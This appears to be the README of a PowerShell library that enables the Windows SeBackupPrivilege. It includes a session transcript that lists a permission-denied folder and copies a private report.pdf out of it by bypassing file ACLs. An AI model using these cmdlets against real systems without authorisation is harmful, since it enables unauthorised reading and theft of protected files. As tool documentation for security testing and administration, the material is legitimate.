On Windows, if a user has the "Back up files and directories" right, he gets assigned the
SeBackupPrivilege privilege. Such privilege is disabled by default but when switched on it allows the user to access directories/files that he doesn't own or doesn't have permission to. In MSDN's own words:
This user right determines which users can bypass file and directory, registry, and other persistent object permissions for the purposes of backing up the system.
In order to exploit
SeBackupPrivilege you have to:
- Enable the privilege.
This alone lets you traverse (
cdinto) any1 directory, local or remote, and list (
Get-ChildItem) its contents.
- If you want to read/copy data out of a "normally forbidden" folder, you have to act as a backup software.
copycommand won't work; you'll need to open the source file manually using
CreateFilemaking sure to specify the
This library exposes three PowerShell CmdLets that do just that.
PS C:\scripts> Import-Module .\SeBackupPrivilegeUtils.dll PS C:\scripts> Import-Module .\SeBackupPrivilegeCmdLets.dll PS C:\scripts> Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup SeBackupPrivilege is disabled PS C:\scripts> dir E:\V_BASE Get-ChildItem : Access to the path 'E:\V_BASE' is denied. At line:1 char:4 + dir <<<< E:\V_BASE + CategoryInfo : PermissionDenied: (E:\V_BASE:String) [Get-ChildItem], UnauthorizedAccessException + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand PS C:\scripts> Set-SeBackupPrivilege PS C:\scripts> Get-SeBackupPrivilege SeBackupPrivilege is enabled PS C:\scripts> dir E:\V_BASE # ...having enabled the privilege, this now works Directory: E:\V_BASE Mode LastWriteTime Length Name ---- ------------- ------ ---- d---- 18/07/2013 13:04 Private PS C:\scripts> cd E:\V_BASE\Private PS E:\V_BASE\Private> dir Directory: E:\V_BASE\Private Mode LastWriteTime Length Name ---- ------------- ------ ---- ----- 05/07/2013 12:29 306435 report.pdf PS E:\V_BASE\Private> Copy-FileSeBackupPrivilege .\report.pdf c:\temp\x.pdf -Overwrite Copied 306435 bytes PS E:\V_BASE\Private>
The following dlls are compiled for x64, .NET Framework 2.0 . If they don't match your environment, you'll have to build your own; just import the project into SharpDevelop and you should be good to go.
These resources have been extremely helpful when putting this stuff together:
- Stack Overflow: How to detect if "Debug Programs" Windows privilege is set?
- Stack Overflow: Setting size of TOKEN_PRIVILEGES.LUID_AND_ATTRIBUTES array returned by GetTokenInformation
- Adjusting Token Privileges in PowerShell
 Explicit denies should still block you, though...